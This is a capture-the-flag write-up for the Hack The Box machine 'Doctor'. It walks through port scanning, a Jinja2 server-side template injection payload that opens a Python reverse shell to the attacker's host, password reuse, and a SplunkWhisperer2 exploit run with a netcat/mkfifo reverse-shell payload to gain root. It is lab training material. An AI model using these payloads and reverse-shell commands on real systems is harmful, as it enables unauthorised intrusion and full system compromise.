mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 04:16:59 +00:00
351 lines
12 KiB
Markdown
351 lines
12 KiB
Markdown
---
|
||
search:
|
||
exclude: true
|
||
---
|
||
# Doctor Writeup
|
||
|
||

|
||
|
||
## Introduction :
|
||
|
||
Doctor is an Easy Linux box released back in September 2020.
|
||
|
||
## **Part 1 : Initial Enumeration**
|
||
|
||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT]
|
||
→ nmap -vvv -p- 10.10.10.209 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
|
||
Discovered open port 22/tcp on 10.10.10.209
|
||
Discovered open port 80/tcp on 10.10.10.209
|
||
Discovered open port 8089/tcp on 10.10.10.209
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT]
|
||
→ nmap -sCV -p22,80,8089 10.10.10.209
|
||
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-02 22:00 CEST
|
||
Nmap scan report for 10.10.10.209
|
||
Host is up (0.035s latency).
|
||
|
||
PORT STATE SERVICE VERSION
|
||
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
|
||
| ssh-hostkey:
|
||
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
|
||
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|
||
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
|
||
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|
||
|_http-server-header: Apache/2.4.41 (Ubuntu)
|
||
|_http-title: Doctor
|
||
8089/tcp open ssl/http Splunkd httpd
|
||
| http-robots.txt: 1 disallowed entry
|
||
|_/
|
||
|_http-server-header: Splunkd
|
||
|_http-title: splunkd
|
||
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
|
||
| Not valid before: 2020-09-06T15:57:27
|
||
|_Not valid after: 2023-09-06T15:57:27
|
||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||
|
||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||
Nmap done: 1 IP address (1 host up) scanned in 33.57 seconds
|
||
|
||
|
||
|
||
## **Part 2 : Getting User Access**
|
||
|
||
Our nmap scan picked up port 80 so let's take a look at it:
|
||
|
||

|
||
|
||
Looking at the website we are hinted towards a domain name: **doctors.htb** so let's add it to our hosts file:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT]
|
||
→ sudo -i
|
||
┌──(root💀nowhere)-[~]
|
||
└─# /usr/bin/sudo
|
||
|
||
┌──(root💀nowhere)-[~]
|
||
└─# echo '10.10.10.209 doctors.htb' >> /etc/hosts
|
||
|
||
┌──(root💀nowhere)-[~]
|
||
└─# exit
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Doctors]
|
||
→ ping doctors.htb
|
||
PING doctors.htb (10.10.10.209) 56(84) bytes of data.
|
||
64 bytes from doctors.htb (10.10.10.209): icmp_seq=1 ttl=63 time=32.4 ms
|
||
64 bytes from doctors.htb (10.10.10.209): icmp_seq=2 ttl=63 time=32.9 ms
|
||
64 bytes from doctors.htb (10.10.10.209): icmp_seq=3 ttl=63 time=32.3 ms
|
||
^C
|
||
--- doctors.htb ping statistics ---
|
||
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
|
||
rtt min/avg/max/mdev = 32.309/32.518/32.861/0.244 ms
|
||
|
||
|
||
|
||
Then we visit the webpage:
|
||
|
||
    
|
||
|
||
Now that we created an account we're going to create a test post:
|
||
|
||
 
|
||
|
||
And looking at the sourcecode of the page we get a hint that the **/archive** page is still under beta testing. So let's take a look at it:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Doctors]
|
||
→ curl http://doctors.htb/archive
|
||
|
||
<****?xml version="1.0" encoding="UTF-8" ?> <****rss version="2.0"> <****channel> <****title>Archive <****/title>
|
||
|
||
Now here we see that the test post we created earlier is visible there, inside the title tags, now the question is wether or not the title of the post itself is sanitized or not, so let's test if this is vulnerable to a Server Side Template Injection ([SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)) attack
|
||
|
||

|
||
|
||
So let's test each of the payloads:
|
||
|
||
   
|
||
|
||
Now we know that **Twig** or **Jinja2** templates are probably in use. So let's get a reverse shell:
|
||
|
||
|
||
|
||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"10.10.14.13\",9001)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
||
|
||
|
||
|
||
|
||
`  
|
||
|
||
Then just browse to **http://doctors.htb/archive** and we get the reverse shell connection:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Doctors]
|
||
→ nc -lvnp 9001
|
||
listening on [any] 9001 ...
|
||
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.209] 48082
|
||
bash: cannot set terminal process group (840): Inappropriate ioctl for device
|
||
bash: no job control in this shell
|
||
web@doctor:~$ id
|
||
id
|
||
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
|
||
web@doctor:~$
|
||
|
||
|
||
|
||
Now let's upgrade our shell to a fully interactive shell:
|
||
|
||
|
||
web@doctor:~$ which python python3 wget curl
|
||
which python python3 wget curl
|
||
/usr/bin/python3
|
||
/usr/bin/wget
|
||
/usr/bin/curl
|
||
|
||
|
||
|
||
|
||
web@doctor:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
|
||
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
||
web@doctor:~$ ^Z
|
||
[1] + 2659972 suspended nc -lvnp 9001
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Doctors]
|
||
→ stty raw -echo ; fg
|
||
[1] + 2659972 continued nc -lvnp 9001
|
||
export TERM=screen-256color
|
||
web@doctor:~$ export SHELL=bash
|
||
web@doctor:~$ stty rows 40 columns 125
|
||
web@doctor:~$ reset
|
||
|
||
|
||
|
||
|
||
Now that we got a fully interactive TTY reverse shell, let's enumerate the box with linpeas:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Doctors]
|
||
→ cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh .
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Doctors]
|
||
→ python3 -m http.server 9090
|
||
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
|
||
|
||
web@doctor:~$ wget http://10.10.14.13:9090/linpeas.sh -O /tmp/peas.sh
|
||
--2021-06-03 15:39:34-- http://10.10.14.13:9090/linpeas.sh
|
||
Connecting to 10.10.14.13:9090... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 341863 (334K) [text/x-sh]
|
||
Saving to: ‘/tmp/peas.sh’
|
||
|
||
/tmp/peas.sh 100%[====================================================>] 333,85K 698KB/s in 0,5s
|
||
|
||
2021-06-03 15:39:35 (698 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863]
|
||
|
||
web@doctor:~$ chmod +x /tmp/peas.sh
|
||
|
||
web@doctor:~$ /tmp/peas.sh
|
||
|
||
|
||
|
||
` 
|
||
|
||
Let it run and then in the output we see the following password:
|
||
|
||

|
||
|
||
Let's check which of the users have that password:
|
||
|
||
|
||
web@doctor:~$ cat /etc/passwd | grep bash
|
||
root:x:0:0:root:/root:/bin/bash
|
||
web:x:1001:1001:,,,:/home/web:/bin/bash
|
||
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
|
||
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash
|
||
|
||
web@doctor:~$ ls -lash /home
|
||
total 16K
|
||
4,0K drwxr-xr-x 4 root root 4,0K Sep 19 2020 .
|
||
4,0K drwxr-xr-x 20 root root 4,0K Sep 15 2020 ..
|
||
4,0K drwxr-xr-x 6 shaun shaun 4,0K Sep 15 2020 shaun
|
||
4,0K drwxr-xr-x 7 web web 4,0K Jun 3 15:42 web
|
||
|
||
|
||
Let's try the shaun user:
|
||
|
||
|
||
web@doctor:~$ su shaun
|
||
Password:
|
||
shaun@doctor:/home/web$ id
|
||
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
|
||
shaun@doctor:/home/web$ cd ~
|
||
shaun@doctor:~$ cat user.txt
|
||
7cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
|
||
And that's it! We managed to privesc to the shaun user and get the user flag.
|
||
|
||
## **Part 3 : Getting Root Access**
|
||
|
||
Now in order to privesc to the root user, let's run linpeas.sh once more, this time as the shaun user:
|
||
|
||
|
||
shaun@doctor:~$ /tmp/peas.sh
|
||
|
||
|
||
|
||
Although suprisingly we get nothing interesting other than hints towards the splunk service that's running on port 8089
|
||
|
||

|
||
|
||
|
||
shaun@doctor:~$ ps -aux | grep splunk
|
||
root 1139 0.0 2.0 257468 83740 ? Sl Jun02 0:40 splunkd -p 8089 start
|
||
root 1141 0.0 0.3 77664 13340 ? Ss Jun02 0:00 [splunkd pid=1139] splunkd -p 8089 start [process-runner]
|
||
shaun 429634 0.0 0.0 17668 736 pts/0 S+ 16:01 0:00 grep --color=auto splunk
|
||
|
||
|
||
|
||
And we also see that the splunk daemon is ran by the root user:
|
||
|
||

|
||
|
||
Here we can assume that shaun's PAM password is re-used for the splunk service, so let's try it out with the Splunk Whisperer2 python exploit:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Doctors]
|
||
→ git clone https://github.com/cnotin/SplunkWhisperer2
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Doctors]
|
||
→ cd SplunkWhisperer2
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [HTB/Doctors/SplunkWhisperer2]
|
||
→ tree
|
||
.
|
||
├── LICENSE
|
||
├── PySplunkWhisperer2
|
||
│ ├── build_exe.bat
|
||
│ ├── PySplunkWhisperer2_local.py
|
||
│ ├── PySplunkWhisperer2_remote.py
|
||
│ ├── README.md
|
||
│ └── requirements.txt
|
||
├── README.md
|
||
└── SharpSplunkWhisperer2
|
||
├── app.config
|
||
├── FodyWeavers.xml
|
||
├── packages.config
|
||
├── Program.cs
|
||
├── README.md
|
||
├── SharpSplunkWhisperer2.csproj
|
||
└── SharpSplunkWhisperer2.sln
|
||
|
||
2 directories, 14 files
|
||
|
||
|
||
Let's test it using shaun's credentials:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [HTB/Doctors/SplunkWhisperer2]
|
||
→ cd PySplunkWhisperer2
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [Doctors/SplunkWhisperer2/PySplunkWhisperer2]
|
||
→ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.13 --username shaun --password Guitar123 --payload id
|
||
Running in remote mode (Remote Code Execution)
|
||
[.] Authenticating...
|
||
[+] Authenticated
|
||
[.] Creating malicious app bundle...
|
||
[+] Created malicious app bundle in: /tmp/tmptx03ln_m.tar
|
||
[+] Started HTTP server for remote mode
|
||
[.] Installing app from: http://10.10.14.13:8181/
|
||
10.10.10.209 - - [03/Jun/2021 15:56:31] "GET / HTTP/1.1" 200 -
|
||
[+] App installed, your code should be running now!
|
||
|
||
Press RETURN to cleanup
|
||
|
||
[.] Removing app...
|
||
[+] App removed
|
||
[+] Stopped HTTP server
|
||
Bye!
|
||
|
||
|
||
Seems to be working although we can't see the output of the command, so let's do it with a reverse shell this time:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [Doctors/SplunkWhisperer2/PySplunkWhisperer2]
|
||
→ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.13 --username shaun --password Guitar123 --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 9002 >/tmp/f'
|
||
Running in remote mode (Remote Code Execution)
|
||
[.] Authenticating...
|
||
[+] Authenticated
|
||
[.] Creating malicious app bundle...
|
||
[+] Created malicious app bundle in: /tmp/tmprb66z6y4.tar
|
||
[+] Started HTTP server for remote mode
|
||
[.] Installing app from: http://10.10.14.13:8181/
|
||
10.10.10.209 - - [03/Jun/2021 15:58:45] "GET / HTTP/1.1" 200 -
|
||
[+] App installed, your code should be running now!
|
||
|
||
Press RETURN to cleanup
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/47 ] [Doctors/SplunkWhisperer2/PySplunkWhisperer2]
|
||
→ nc -lvnp 9002
|
||
listening on [any] 9002 ...
|
||
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.209] 33510
|
||
/bin/sh: 0: can't access tty; job control turned off
|
||
# id
|
||
uid=0(root) gid=0(root) groups=0(root)
|
||
# cat /root/root.txt
|
||
50XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
|
||
And that's it! We managed to get a reverse shell as the root user and we managed to print the root flag!
|
||
|
||
## **Conclusion**
|
||
|
||
Here we can see the progress graph :
|
||
|
||

|
||
|